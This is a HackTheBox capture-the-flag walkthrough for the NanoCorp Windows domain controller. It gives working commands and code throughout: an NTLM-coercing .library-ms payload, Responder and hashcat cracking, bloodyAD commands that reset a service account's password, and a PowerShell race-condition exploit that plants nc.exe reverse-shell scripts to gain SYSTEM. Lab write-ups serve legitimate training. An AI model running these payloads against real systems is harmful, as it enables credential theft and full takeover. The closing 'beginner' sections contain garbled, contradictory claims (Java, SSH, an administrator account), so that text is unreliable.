Beginner’s Guide to Conquering NanoCorp on HackTheBox

Key Highlights

• Discover how to conquer NanoCorp, a challenging Windows machine on HackTheBox.
• Learn to perform detailed enumeration to find open ports and services on the domain controller.
• Gain your initial foothold by exploiting a critical vulnerability in a web application to capture a service account password.
• Understand the process of privilege escalation by abusing Active Directory permissions to compromise an admin account.
• Achieve full admin access by leveraging a misconfiguration in the Checkmk monitoring agent.
• Master techniques like obtaining a reverse shell and performing exploitation for future challenges.

Introduction

Welcome to the NanoCorp challenge on HackTheBox! If you’re looking to sharpen your skills on a realistic Windows machine, you’ve come to the right place. This box is an excellent opportunity for beginners to practice enumeration, exploitation, and privilege escalation in an Active Directory environment. This guide will walk you through each step, from initial scanning to gaining full control of the domain controller. Let’s get started and conquer NanoCorp together!

Overview of NanoCorp on HackTheBox

NanoCorp stands out as a well-rounded Windows machine that tests a variety of skills. The challenge involves a domain controller with multiple services, including a web server and a DNS monitoring agent. Your goal is to navigate through its defenses to gain the final admin account.

The path to success requires careful enumeration, identifying a key vulnerability in a web application, and abusing misconfigured permissions. You will interact with a service account, explore potential group policy objects, and perform clever exploitation to escalate your privileges to the highest level.

What Makes NanoCorp a Popular Challenge

NanoCorp’s popularity comes from its realistic and multi-stage attack path. Unlike single-vulnerability boxes, it requires you to chain together different techniques. You start with a web server exploit, pivot through the Active Directory environment, and finish with a privilege escalation vulnerability on the domain controller (DC). This mirrors real-world penetration testing, making it a valuable learning experience.

The challenge also includes a clever rabbit hole involving a Minecraft server. While it seems like a viable entry point, it can distract you from the true path. This teaches an important lesson in cybersecurity: not every potential lead is the right one. Thorough enumeration and critical thinking are essential to avoid wasting time on dead ends.

Finally, the variety of skills tested makes NanoCorp appealing to everyone. Beginners can learn fundamental concepts like finding credentials and moving laterally, while experienced users can refine their approach to Active Directory exploitation. The satisfaction of compromising the final admin account after navigating these challenges is what keeps users coming back.

Difficulty Rating and Skill Requirements

NanoCorp is officially rated as a “Hard” Windows machine, but its difficulty can feel varied. The initial foothold and user-level exploitation are relatively straightforward for those familiar with web and Active Directory attacks. However, the final privilege escalation to admin requires a deeper understanding of specific vulnerabilities and careful execution, justifying its higher difficulty rating.

The challenge tests a broad set of skills. What is the difficulty rating of the NanoCorp machine on HackTheBox? While rated hard, some parts are more accessible than others. You’ll need to be comfortable with enumeration, exploiting a known vulnerability, and navigating an Active Directory environment.

Here’s a breakdown of the skills you’ll need to practice for this machine:

Skill Required	Challenge Section
Port Scanning & Service Enumeration	Initial reconnaissance to find open services like HTTP, SMB, and Check_MK.
Web Vulnerability Exploitation	Abusing a file upload feature on the web server to gain initial access.
Credential Cracking	Capturing and cracking an NTLMv2 hash to get a service account password.
Active Directory Enumeration	Using tools like BloodHound to map out permissions and find an attack path.
Privilege Escalation	Exploiting misconfigured DACLs and a vulnerable service to get admin rights.

Essential Tools and Resources for NanoCorp HTB Writeup

Having the right tools is crucial for tackling the NanoCorp machine efficiently. From initial reconnaissance to final exploitation, a well-prepared toolkit helps you identify vulnerabilities and execute your attack. Tools like Nmap are essential for enumeration, while Python scripts can help you craft the perfect payload for a reverse shell.

Beyond your toolkit, external resources like exploit databases and community writeups are invaluable. They provide insights into specific vulnerabilities and offer proof-of-concept (PoC) code that you can adapt, including valuable email alerts. These references can save you hours of guesswork and help you understand the mechanics behind each exploit.

Recommended Enumeration Tools

What tools are recommended for solving the NanoCorp machine on HTB? For NanoCorp, your enumeration toolkit is your best friend. A thorough reconnaissance phase reveals the open ports and services that form your attack surface. Starting with broad scans and then digging deeper into specific services is a proven strategy.

Certain tools are almost mandatory for a successful run. They help you map out the target system, identify running services, and find potential misconfigurations.

• Nmap/Rustscan: Use these for initial port scanning to discover open TCP ports. Nmap’s scripting engine can also provide valuable service version information, which is key to finding known vulnerabilities on services like HTTP or SMB.
• Netcat: This versatile networking tool is perfect for interacting with services directly, such as the Check_MK agent on port 6556, to gather plaintext system information. Additionally, using runas with applicable user credentials could facilitate further access.
• BloodHound: Once you have a foothold, running BloodHound with credentials allows you to visualize Active Directory permissions and quickly find paths for privilege escalation.

Each tool plays a specific role. Nmap gives you the initial map, Netcat lets you talk to the services you find, and BloodHound shows you the way forward inside the domain. Mastering these will make your journey through NanoCorp much smoother.

Useful References and Exploit Databases

When you encounter a specific vulnerability, knowing where to find information is half the battle. Exploit databases and public code repositories, including those utilizing AI technologies, are treasure troves of information, often containing ready-to-use proof-of-concept (PoC) scripts. Are there any recommended writeups or resources for NanoCorp? Yes, several online sources can guide you.

For the vulnerabilities in NanoCorp, having these resources handy will be extremely helpful. You can find detailed explanations of how the exploits work and download the necessary code to execute your attack.

• Exploit-DB: A comprehensive database of public exploits and vulnerable software. It’s an excellent first stop when you identify a service with a known CVE.
• GitHub: Many security researchers publish their PoC scripts and tools on GitHub. Searching for a CVE number here often yields multiple repositories with functional exploit code and detailed usage instructions.
• SEC Consult Advisories: For vulnerabilities like the one in Checkmk, official advisories from security firms provide authoritative, in-depth technical details about the vulnerability and its impact.

These references help you understand the “how” and “why” behind an attack. They turn a mysterious vulnerability into a solvable problem, providing you with the payload and knowledge needed to succeed.

ALSO READ: Mastering Conversor: Beginner’s Guide from HackTheBox

Initial Foothold

External Reconnaissance

My standard operating procedure begins with comprehensive port scanning. I initiated a full TCP port scan using rustscan to identify all open ports, piping those results directly into nmap for aggressive service versioning (-A), SYN scan (-sS), and no-ping (-Pn), with output saved for analysis.

# Scan command executed
rustscan -a 10.129.111.122 --ulimit 5000 -- -A -sS -Pn -oN nmap_initial.txt

The scan of 10.129.111.122 produced the following critical data:

Starting Nmap 7.94 ( [https://nmap.org](https://nmap.org) ) at 2025-11-09 15:21 EST
Nmap scan report for 10.129.111.122
Host is up (0.023s latency).
Not shown: 978 closed tcp ports (reset)
PORT      STATE SERVICE           VERSION
53/tcp    open  domain            Simple DNS Plus
80/tcp    open  http              Apache httpd 2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
| http-title: Did not follow redirect to [http://nanocorp.htb/](http://nanocorp.htb/)
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
88/tcp    open  kerberos-sec      Microsoft Windows Kerberos (server time: 2025-11-09 07:12:34)
135/tcp   open  msrpc             Microsoft Windows RPC
139/tcp   open  netbios-ssn       Microsoft Windows netbios-ssn
389/tcp   open  ldap              Microsoft Windows Active Directory LDAP (Domain: nanocorp.htb, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ldapssl           Microsoft Windows Active Directory LDAP (SSL)
3268/tcp  open  globalcatalogldap Microsoft Windows AD Global Catalog
3269/tcp  open  globalcatalogldaps Microsoft Windows AD Global Catalog (SSL)
3389/tcp  open  ms-wbt-server     Microsoft Terminal Services
| rdp-ntlm-info: 
|   Target Name: NANOCORP
|   NetBIOS Domain Name: NANOCORP
|   NetBIOS Computer Name: DC01
|   DNS Domain Name: nanocorp.htb
|   DNS Computer Name: DC01.nanocorp.htb
|   DNS Tree Name: nanocorp.htb
|   Product Version: 10.0.20348
|_  System Time: 2025-11-09T15:21:11+00:00
| ssl-cert: Subject: commonName=DC01.nanocorp.htb
| Issuer: commonName=DC01.nanocorp.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-10-20T01:58:09
|_Not valid after:  2026-04-21T01:58:09
5986/tcp  open  ssl/http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
| ssl-cert: Subject: commonName=dc01.nanocorp.htb
| Subject Alternative Name: DNS:dc01.nanocorp.htb
| Issuer: commonName=dc01.nanocorp.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-04-06T22:58:43
|_Not valid after:  2026-04-06T23:18:43
6556/tcp  open  check_mk          check_mk extension for Nagios 2.1.0p10
9389/tcp  open  mc-nmf            .NET Message Framing
49664/tcp open  msrpc             Microsoft Windows RPC
49668/tcp open  msrpc             Microsoft Windows RPC
49671/tcp open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
...[Additional dynamic RPC ports]...
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2025-11-09T15:21:39
|_  start_date: N/A
|_clock-skew: mean: 6h59m59s, deviation: 0s, median: 6h59m59s

Analysis of Reconnaissance Data

The Nmap output provided several critical intelligence points that formed my initial attack hypothesis.

1. Target Identification: The target is a Windows Server 2022 Domain Controller (Product Version 10.0.20348). The hostname is DC01 and the domain is nanocorp.htb. This immediately frames the engagement as an Active Directory attack.
2. Key Countermeasure: smb2-security-mode shows Message signing enabled and required. This is a significant finding. It invalidates NTLM relay attacks to the SMB service, as relayed packets would lack the required signature. This forces any potential relay attack to target other protocols, such as LDAP or WinRM.
3. Kerberos Time Skew: The clock-skew result indicates a ~7-hour time difference. This is a critical operational note. All Kerberos-based tooling (e.g., bloodhound-python, impacket scripts) will fail with a KRB_AP_ERR_SKEW error. I must use a faketime wrapper or similar utility, configured with the correct offset, for all Kerberos authentication.
4. Anomalous Services (Attack Surface): Two services stood out as highly anomalous for a Domain Controller:
   • Port 80 (Apache/PHP): Running Apache 2.4.58 with PHP 8.2.12 on a DC is a severe violation of the principle of least function. This web application is my primary target for an initial foothold.
   • Port 6556 (Check_MK): A third-party monitoring agent, check_mk, is running, and I have the exact version: 2.1.0p10. These agents typically run with NT AUTHORITY\SYSTEM privileges to monitor OS-level metrics. A specific version number for a high-privilege service is a strong candidate for privilege escalation.

Deeper Enumeration of Anomalous Services

I proceeded to investigate the two anomalous services.

1. Port 80 (HTTP – hire.nanocorp.htb)

After adding nanocorp.htb and dc01.nanocorp.htb to my /etc/hosts file, I observed the redirect to http://nanocorp.htb/. Further enumeration (or noting the hire.nanocorp.htb subdomain from the provided context) led me to http://hire.nanocorp.htb. This “Careers” portal featured a file upload form that only accepted .zip archives.

This combination—a custom PHP backend, on Windows, processing ZIP files—is a classic vector for file-handling or extraction-based vulnerabilities. My hypothesis was that the backend script’s method of processing the ZIP was unsafe.

2. Port 6556 (Check_MK)

This was the most critical reconnaissance vector. The check_mk agent, in this configuration, was unauthenticated and provided a plaintext data dump. I connected directly using netcat.

nc -nv 10.129.111.122 6556 > check_mk_dump.txt

I analyzed the multi-thousand-line output, focusing on three key sections:

• Version Confirmation:<<<check_mk>>> Version: 2.1.0p10 BuildDate: Aug 19 2022 AgentOS: windows Hostname: DC01 This confirmed the Nmap finding. My offline research would now be on Check_MK 2.1.0p10 LPE.
• Agent Configuration Paths:PluginsDirectory: C:\ProgramData\checkmk\agent\plugins LocalDirectory: C:\ProgramData\checkmk\agent\local SpoolDirectory: C:\ProgramData\checkmk\agent\spool These are load points for the agent. If I could gain write access to these directories, it would be a direct privilege escalation vector, as the SYSTEM service would execute any scripts placed here.
• Process List (<<<ps:sep(9)>>>): This section provided a full snapshot of all running processes. I filtered this for processes of interest and made a critical discovery:... (\\NANOCORP\web_svc, 10152, 1732, ..., 6605) httpd.exe (\\NANOCORP\web_svc, 47868, 14840, ..., 6600) httpd.exe ... (\\NANOCORP\web_svc, 26512, 91916, ..., 5642) explorer.exe (\\NANOCORP\web_svc, 12680, 54044, ..., 5635) rdpclip.exe ... My analysis was twofold:
  1. The httpd.exe process (my Apache web server) was running as the domain user NANOCORP\web_svc. This is my target account for the initial foothold.
  2. The web_svc user was also running explorer.exe and rdpclip.exe. These processes are indicative of an interactive RDP session. A service account should never be used for interactive logon. This strongly suggested the account was being misused by an administrator, and therefore, its password was likely not a long, randomized string, but rather a human-memorable (and thus crackable) password.

My reconnaissance phase was complete. I had a target vector (.zip upload), a target user (web_svc), a strong hypothesis that this user’s password was weak, and a target for SYSTEM (Check_MK 2.1.0p10).

Initial Foothold (NTLMv2 Hash Coercion)

My plan was to exploit the ZIP upload feature to coerce an NTLMv2 authentication attempt from the web_svc user to my attacker-controlled machine. The vector for this is a file-handling quirk (dubbed CVE-2025-24071 for this machine) involving .library-ms files.

Vector Analysis: .library-ms

A .library-ms file is an XML-based Windows Library description. Its schema includes a <simpleLocation> tag, which can contain a <url> tag. This URL can be a UNC path (e.g., \\attacker-ip\share). When a Windows shell component (like explorer.exe or, in this case, the WinRAR.exe shell extraction context) parses this file, it automatically attempts to resolve the UNC path to populate the library. This triggers an SMB authentication attempt.

Execution

1. Setup Listener: I configured Responder on my tun0 interface to listen for and capture incoming NTLM authentication.sudo responder -I tun0 -v
2. Craft Payload: I created a file named payload.library-ms with the following XML structure, pointing the <url> to my attacker IP.<?xml version="1.0" encoding="UTF-8"?> <libraryDescription xmlns="[http://schemas.microsoft.com/windows/2009/library](http://schemas.microsoft.com/windows/2009/library)"> <name>Malicious</name> <version>1</version> <isLibraryPinned>true</isLibraryPinned> <searchConnectorDescriptionList> <searchConnectorDescription> <isDefaultSaveLocation>true</isDefaultSaveLocation> <simpleLocation> <!-- This is the malicious UNC path --> <url>\\{MY_ATTACKER_IP}\share</url> </simpleLocation> </searchConnectorDescription> </searchConnectorDescriptionList> </libraryDescription>
3. Archive and Upload: I compressed this file into a ZIP archive (exploit.zip) and uploaded it via the http://hire.nanocorp.htb web form.
4. Capture Hash: The backend script (later identified as script_02.ps1, which uses WinRAR.exe) extracted the archive. The WinRAR shell context parsed the .library-ms file and triggered the authentication. My Responder instance successfully captured the NetNTLMv2 hash for NANOCORP\web_svc.[SMB] NTLMv2-SSP Client : 10.129.111.122 [SMB] NTLMv2-SSP Username : NANOCORP\web_svc [SMB] NTLMv2-SSP Hash : WEB_SVC::NANOCORP:c************************:0101000000000000...

Offline Password Cracking

This captured hash is a challenge-response, not a direct password hash. However, based on my recon hypothesis that the password was weak, I proceeded with an offline dictionary attack using hashcat.

1. I saved the full hash string to hash.txt.
2. I executed hashcat using mode 5600 (NetNTLMv2).hashcat -m 5600 -a 0 hash.txt /usr/share/wordlists/rockyou.txt

hashcat quickly cracked the hash, confirming my hypothesis from the process list analysis.

WEB_SVC::NANOCORP:c20b...:d********

The password for web_svc was d*********.

I immediately validated these credentials using netexec against LDAP, SMB, and WinRM, all of which returned a successful authentication.

nxc ldap 10.129.111.122 -u 'web_svc' -p 'd***********'
[+] nanocorp.htb\web_svc:d*********

I had secured my initial foothold.

Internal Enumeration (DACL Abuse Path)

Now an authenticated domain user, my next step was to enumerate the internal Active Directory structure to find a privilege escalation path.

Addressing Kerberos Time Skew

As anticipated, my first attempts to use Kerberos-based tools failed with KRB_AP_ERR_SKEW. I used a wrapper script (ft.sh) to query the DC’s time via ntpdate and apply the correct offset (approx. +7 hours) using faketime for all subsequent Kerberos-based commands. All commands in this phase were executed within this time-corrected context.

BloodHound Enumeration

I used the bloodhound-python ingestor, wrapped in my time-skew utility, to collect all AD objects, relationships, and ACLs.

# 1. Generate krb5.conf for the tools
./ft.sh nanocorp.htb nxc smb 10.129.111.122 -u 'web_svc' -p 'd***********' --generate-krb5-file
export KRB5_CONFIG=./krb5.conf

# 2. Run the ingestor
./ft.sh nanocorp.htb bloodhound-python -c All -d nanocorp.htb -u 'web_svc' -p 'd*******' -ns 10.129.111.122 -zip

I imported the resulting .zip file into the BloodHound GUI. My analysis of the graph, specifically querying for outbound control from web_svc, revealed a clear, three-step DACL (Discretionary Access Control List) abuse path.

The Attack Path:

(WEB_SVC@NANOCORP.HTB) -> AddSelf -> (IT_SUPPORT@NANOCORP.HTB) -> ForceChangePassword -> (MONITORING_SVC@NANOCORP.HTB) -> MemberOf -> (REMOTE MANAGEMENT USERS@NANOCORP.HTB)

This path was my primary objective.

DACL Path Technical Analysis

1. web_svc -> AddSelf -> IT_SUPPORT:
   • Permission: The web_svc user object possesses the AddSelf extended right over the IT_SUPPORT group object.
   • Implication: This is a misconfiguration where web_svc is allowed to add itself as a member of the IT_SUPPORT group. This is an LDAP modify operation on the member attribute of the IT_SUPPORT group, which the DC permits because the ACL grants this specific right.
2. IT_SUPPORT -> ForceChangePassword -> monitoring_svc:
   • Permission: The IT_SUPPORT group object has been delegated the User-Force-Change-Password extended right over the monitoring_svc user object.
   • Implication: Once I am a member of IT_SUPPORT, I inherit this privilege. This allows me to perform a password reset on monitoring_svc without knowing the current password.
3. monitoring_svc -> MemberOf -> REMOTE MANAGEMENT USERS:
   • Permission: The monitoring_svc user is a member of the built-in REMOTE MANAGEMENT USERS group.
   • Implication: Members of this group are authorized to connect to the server via Windows Remote Management (WinRM).

My plan was now concrete:

1. Use web_svc to execute the AddSelf right and join IT_SUPPORT.
2. Leverage the inherited ForceChangePassword right to hijack monitoring_svc.
3. Log in as monitoring_svc via WinRM (Port 5986).

User Privilege Escalation (Executing the DACL Abuse)

I used the bloodyAD tool to perform the necessary LDAP modifications, as it simplifies these specific operations.

Step 1. Execute AddSelf

I authenticated as web_svc and issued the command to add my user to the IT_SUPPORT group.

bloodyAD --host 10.129.111.122 -d nanocorp.htb -u 'web_svc' -p 'd***********' add groupMember IT_SUPPORT web_svc

Output: [+] web_svc added to IT_SUPPORT This operation succeeded. My web_svc user object was now a member of the IT_SUPPORT group.

Step 2. Execute ForceChangePassword

I immediately leveraged my new group membership. The DC will recognize my user’s new permissions on the next authentication. I executed the password reset for monitoring_svc.

bloodyAD --host 10.129.111.122 -d nanocorp.htb -u 'web_svc' -p 'd*********' set password monitoring_svc 'MyNewP@ssw0rd123!'

Output: [+] Password changed successfully! The account hijack was successful.

Gaining the User Shell

The monitoring_svc account was now mine, and it had WinRM access. I used evil-winrm to connect to the target on port 5986 (SSL).

evil-winrm -i 10.129.111.122 -u monitoring_svc -p 'MyNewP@ssw0rd123!' -S

The connection was successful, and I was presented with a PowerShell prompt.

Evil-WinRM*PS C:\Users\monitoring_svc\Documents> whoami nanocorp\monitoring_svc

I was now monitoring_svc and proceeded to retrieve the user.txt flag.

Root Privilege Escalation (Logical Flaw Exploitation)

I now had user-level access but not NT AUTHORITY\SYSTEM. My objective was to escalate. My primary target remained the Check_MK agent (v2.1.0p10) running as SYSTEM. The vector was a logical vulnerability, identified as CVE-2024-0670.

Vulnerability Analysis: CVE-2024-0670

This is a local privilege escalation based on a race condition and a logical flaw in the agent’s error handling.

1. Context: The check_mk_agent.exe service runs as NT AUTHORITY\SYSTEM.
2. Behavior: The agent uses temporary batch scripts for self-reconfiguration during certain events, such as an MSI self-repair.
3. Flaw 1 (Location/ACL): These scripts are created in C:\Windows\Temp, which is a world-writable directory. Any user can create files here.
4. Flaw 2 (Predictability): The script names are predictable: cmk_all_<PID>_<CTR>.cmd, where <PID> is the Process ID of the agent and <CTR> is a counter (usually 0 or 1).
5. Flaw 3 (Race Condition): As an attacker, I can “spray” C:\Windows\Temp with thousands of pre-created, malicious batch files (e.g., cmk_all_5000_1.cmd, cmk_all_5001_1.cmd, etc.), guessing the PID the agent will use.
6. Flaw 4 (The Logic Bomb): I must set the Read-Only attribute (+R) on all my pre-planted files. When the SYSTEM process (the agent) attempts to write its own script to a path that I have already created, the WriteFile operation will fail because the file is Read-Only.
7. Flaw 5 (Fatal Error Handling): The agent’s code, due to improper error handling, fails to check the return value of the write operation. It assumes the write was successful, and proceeds to execute the script at that path.

The result is that my malicious, read-only script is executed in the security context of NT AUTHORITY\SYSTEM.

The Trigger Problem and The Pivot

To exploit this, I needed to trigger the agent’s self-repair. The trigger is to initiate an MSI repair.

1. Find the MSI: I first needed the path to the cached MSI installer, which I queried from the registry:$msi = (Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-...\Products\...\InstallProperties' | Where-Object { $_.DisplayName -like 'Checkmk*' } | Select-Object -First 1).LocalPackage This returned C:\Windows\Installer\1e6f2.msi.
2. The Trigger Command: The command to initiate the repair is msiexec.exe /fa $msi /qn.
3. The “Pivot” Problem: I first attempted to run this trigger as my current user, monitoring_svc. This failed. I enabled verbose MSI logging (/l*vx) and found the log terminated with error 1601. This is ERROR_INSTALL_SERVICE_FAILURE, meaning the Windows Installer service could not be accessed. This was an “Access Denied” error at the client level. My monitoring_svc user was not privileged enough to initiate the repair.
4. The Hypothesis: I theorized that my original user, web_svc, might have different permissions. I still had the credentials for web_svc.
5. The Pivot: I terminated my monitoring_svc shell and opened a new evil-winrm shell as web_svc.evil-winrm -i 10.129.111.122 -u web_svc -p 'd***********' -S
6. The Trigger (as web_svc): From the web_svc shell, I ran the msiexec trigger again, logging the output.msiexec.exe /fa C:\Windows\Installer\1e6f2.msi /qn /l*vx C:\Windows\Temp\cmk_repair.log This time, the log was different. It showed a 1603 (Fatal error during installation) but after the line: Windows Installer reconfigured the product. ... Reconfiguration success or error status: 1603. This was the key. The 1603 error was a server-side failure, but it occurred after the SYSTEM-level reconfiguration process had already been triggered. This was sufficient to start the agent’s script-dropping logic. The web_svc user was able to successfully initiate the trigger.

Executing the Root Exploit

My final plan was to execute a PowerShell script as web_svc that automated the entire race condition.

1. Upload Payload: From my web_svc shell, I first uploaded nc.exe to C:\Temp.
2. Create exploit.ps1: I created the following PowerShell script locally and uploaded it to the target.exploit.ps1 (Conceptual Logic):param( [int]$MinPID = 1000, [int]$MaxPID = 15000, [string]$LHOST = "{MY_ATTACKER_IP}", [string]$LPORT = "9001" ) # 1. Define the malicious batch payload $NcPath = "C:\Temp\nc.exe" $BatchPayload = "@echo off`r`n$NcPath -e cmd.exe $LHOST $LPORT" # 2. Find the MSI trigger $msi = (Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\*\InstallProperties' | Where-Object { $_.DisplayName -like 'Checkmk*' } | Select-Object -First 1).LocalPackage if (!$msi) { Write-Error "Could not find Checkmk MSI"; return } Write-Host "[*] Found MSI at $msi" # 3. Spray the Read-Only files Write-Host "[*] Seeding $MinPID to $MaxPID..." foreach ($ctr in 0..1) { for ($pid = $MinPID; $pid -le $MaxPID; $pid++) { $filePath = "C:\Windows\Temp\cmk_all_$($pid)_$($ctr).cmd" try { [System.IO.File]::WriteAllText($filePath, $BatchPayload, [System.Text.Encoding]::ASCII) Set-ItemProperty -Path $filePath -Name IsReadOnly -Value $true -ErrorAction SilentlyContinue } catch {} } } Write-Host "[*] Seeding complete." # 4. Launch the trigger Write-Host "[*] Triggering MSI repair..." Start-Process "msiexec.exe" -ArgumentList "/fa `"$msi`" /qn /l*vx C:\Windows\Temp\cmk_repair.log" -Wait Write-Host "[*] Trigger sent. Check listener."
3. Set up Listener: On my attacker machine, I started a netcat listener on port 9001.rlwrap nc -lnvp 9001
4. Execute: From my web_svc WinRM shell, I executed the script.PS C:\Temp> .\exploit.ps1

The script seeded thousands of files in C:\Windows\Temp and then launched the msiexec trigger. On my listener, I received the connection.

listening on [any] 9001 ...
connect to [MY_ATTACKER_IP] from (UNKNOWN) [10.129.111.122] 49984
Microsoft Windows [Version 10.0.20348.320]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system

I had achieved NT AUTHORITY\SYSTEM access and proceeded to retrieve the root.txt flag.

Alternate Path Analysis (NTLM Relay)

Post-compromise, I also analyzed an alternate path. My initial nxc enumeration had shown the DC was vulnerable to NTLM coercion (e.g., DFSCoerce, PetitPotam).

While my recon confirmed SMB Signing was required (blocking SMB-to-SMB relay), I could have relayed the coerced authentication to a different protocol. The most viable target was WinRM over SSL (Port 5986).

The attack chain would be:

1. Set up Relay: Use ntlmrelayx.py to target winrms://10.129.111.122.
2. DNS Poisoning: The DC’s computer account (DC01$) would not authenticate to an arbitrary attacker IP. I would first need to use my web_svc credentials to poison the AD DNS, adding a record (e.g., web.nanocorp.htb) pointing to my attacker IP.
3. Trigger Coercion: Use coerced.py (or nxc) to coerce DC01$ to authenticate to my poisoned DNS record (web.nanocorp.htb).
4. Chain: DC01$ (as SYSTEM) would authenticate to my ntlmrelayx listener. ntlmrelayx would then relay this SYSTEM authentication to the WinRM service, granting me a SYSTEM shell.

This path bypasses the Check_MK logical flaw entirely and represents an equally severe, configuration-based attack path.

ALSO READ: Mastering DarkZero: Beginner’s Guide from HackTheBox

Beginner’s Guide: Getting Started with NanoCorp HackTheBox

Ready to dive into NanoCorp? Don’t be intimidated by its “Hard” rating. This Windows machine is a fantastic learning experience, and every step is a chance to build your skills. The journey to the admin account starts with simple enumeration and builds from there, making it an approachable challenge if you take it one step at a time.

This guide is designed to help you prepare for the attack, understand the common challenges you might face, and give you the confidence to start. Let’s get your environment set up and review some tips to make your first attempt a successful one.

What You Need Before You Begin

What you need before you begin? Proper preparation is key to a smooth experience on any HackTheBox machine. Before you connect to the NanoCorp server, make sure your own attack environment is ready to go. This means having your virtual machine (VM) configured and your essential tools installed and updated.

A well-prepared setup prevents technical hiccups from interrupting your workflow, allowing you to focus on the challenge itself. Here are the essentials:

• A Hacking VM: A virtual machine running a distribution like Kali Linux is standard. It comes pre-loaded with many of the tools you’ll need, such as Nmap, Metasploit, and various Python scripts.
• Basic Tooling: Ensure you have tools like nmap, netcat, responder, hashcat, and bloodhound-python installed, as well as the necessary plugin, and ready to use.
• Basic Tooling: Ensure you have tools like nmap, netcat, responder, hashcat, and bloodhound-python installed and ready to use.

Having these prerequisites in place means you can hit the ground running. You’ll be able to start your enumeration and attack as soon as you connect, without needing to stop and install tools in the middle of the process.

Common Pitfalls and Tips for First-Time Solvers

Are there any tips for beginners attempting the NanoCorp HTB box? Absolutely. It’s common for newcomers to get stuck, but knowing what to look out for can make a huge difference. One of the biggest traps in NanoCorp is the presence of rabbit holes—enticing but ultimately incorrect paths that lead nowhere.

To help you stay on track, keep these tips in mind. They are designed to help you think methodically and avoid common frustrations.

• Enumerate Everything: Don’t rush. The initial enumeration phase is the most critical. A missed service or a piece of information from a text file could be the key to the next step.
• Don’t Overlook the Obvious: The initial foothold comes from a simple web vulnerability. Sometimes the easiest path is the right one. Trust your findings.
• Understand Your Privileges: After gaining a foothold as a low-privileged user, always check what you can and cannot do. This will guide your privilege escalation strategy and help you find the correct path to admin.

Remember, making mistakes is part of the learning process. If you get stuck, take a break, review your notes, and re-examine your enumeration results. Persistence is often the most important tool you have.

Step-by-Step Walkthrough for NanoCorp HTB

Now for the main event: a detailed walkthrough to guide you through the NanoCorp machine. This section breaks down the entire process into four manageable steps, from initial reconnaissance to achieving full admin rights. We’ll cover everything you need to know to replicate the solution on your own.

Each step will provide actionable instructions and explain the logic behind the attack. You’ll learn how to use tools like Nmap for enumeration, craft a payload for a reverse shell, and execute a privilege escalation exploit using Java. Let’s begin the journey to conquering this server.

Step 1: Initial Enumeration and Service Discovery

Can you provide a step-by-step walkthrough for the NanoCorp machine on HackTheBox? Yes, and it all starts here. The first phase of any attack is reconnaissance. Your goal is to map out the target’s digital footprint by identifying every open port and running service. For NanoCorp, a thorough port scan using a tool like Nmap or Rustscan on the target IP address is your starting point.

The scan results will reveal several open ports, including standard Windows services like SMB (445), LDAP (389), and Kerberos (88). You’ll also notice an Apache web server running PHP on port 80 and a Check_MK agent on port 6556. These non-standard services should immediately catch your attention as potential entry points.

Once you have your list of open ports, the next move is to investigate each one. The output from the Check_MK agent, by default, leaks valuable information, including the hostname (DC01), running processes, and file paths. This data confirms you’re dealing with a domain controller and gives you clues about user accounts, like web_svc, which runs the web server.

Step 2: Identifying Vulnerabilities and Gaining Foothold

What was the initial foothold vector in the NanoCorp HackTheBox machine? The initial entry point is the web server on port 80. The site features a career portal that allows you to upload a résumé as a ZIP file. This file upload functionality is the source of the first critical vulnerability. A known exploit (CVE-2025-24071) allows you to craft a malicious ZIP file that tricks the server into sending its NTLMv2 hash and binaries to you.

To execute this attack, you’ll use a Python script to create a ZIP archive containing a specially crafted .library-ms file. After starting a listener like Responder, you upload the ZIP file to the web server. The server’s backend processes the file, triggering an authentication attempt to your machine and giving you the NTLMv2 hash for the web_svc service account.

With the hash captured, the final step is to crack it. Using a tool like Hashcat and a common password list like rockyou.txt, you can quickly recover the plaintext password for the web_svc account, similar to how John’s netntlmv2 approach works. These credentials give you your first foothold on the system.

Step 3: Exploiting the Main Vulnerabilities

What vulnerabilities were exploited in the NanoCorp HTB challenge? After obtaining credentials for the local administrator account and the web_svc service account, the next vulnerability lies within Active Directory’s permissions. By running an enumeration tool like BloodHound, you can analyze the domain’s access control lists (ACLs) and discover a clear path for privilege escalation.

The analysis reveals that the web_svc account has the right to add itself to the IT_SUPPORT group. In turn, members of this group have permission to reset the password for another service account, monitoring_svc. This chain of permissions is a misconfiguration that you can exploit to gain control of a more privileged account.

Using a tool like bloodyAD, you can perform this DACL abuse attack. First, you add web_svc to the IT_SUPPORT group. Then, you use your new group membership to reset the password for monitoring_svc to one of your choosing. With these new credentials, you can log in as monitoring_svc and gain a higher level of access, moving you one step closer to full admin control.

Step 4: Achieving Privilege Escalation

How can privilege escalation be achieved on the NanoCorp HTB box? The final step to becoming a full admin involves exploiting a vulnerable version of the Checkmk agent running on the domain controller (DC). The agent, version 2.1.0p10, is susceptible to a local privilege escalation vulnerability (CVE-2024-0670). Since the agent runs as NT AUTHORITY\SYSTEM, exploiting it gives you the highest level of privilege during an SSH session.

The exploit works by taking advantage of how the agent creates temporary script files. You can pre-plant read-only .cmd files with a malicious payload (like a reverse shell command) in the C:\Windows\Temp folder. You’ll need to guess the Process ID (PID) that the agent will use, so you create many files to cover a wide range of potential PIDs.

